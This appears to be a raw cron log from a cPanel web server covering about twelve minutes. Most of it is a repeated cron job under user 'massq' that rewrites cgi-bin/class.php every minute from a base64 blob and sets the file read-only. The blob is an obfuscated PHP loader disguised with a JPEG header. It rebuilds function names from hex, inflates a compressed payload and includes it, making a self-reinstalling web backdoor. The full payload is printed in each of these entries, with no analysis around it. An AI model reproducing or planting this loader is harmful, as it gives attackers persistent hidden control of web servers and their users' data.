Nov 15 18:04:01 server CROND[27037]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:05:01 server CROND[27315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:05:01 server CROND[27314]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:05:01 server CROND[27316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:05:01 server CROND[27317]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 18:06:01 server CROND[27638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:07:01 server CROND[27951]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:08:01 server CROND[28356]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:09:01 server CROND[28667]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 18:09:01 server CROND[28668]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:10:01 server CROND[28944]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:10:01 server CROND[28945]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 18:10:01 server CROND[28946]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:10:01 server CROND[28947]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:11:01 server CROND[29259]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:12:01 server CROND[29556]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 18:12:01 server CROND[29557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:13:01 server CROND[29911]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:14:01 server CROND[30171]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:15:01 server CROND[30437]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:15:01 server CROND[30439]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:15:01 server CROND[30441]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt &gt;/dev/null 2&gt;&amp;1)
Nov 15 18:15:01 server CROND[30442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 18:15:01 server CROND[30440]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 18:16:01 server CROND[30782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
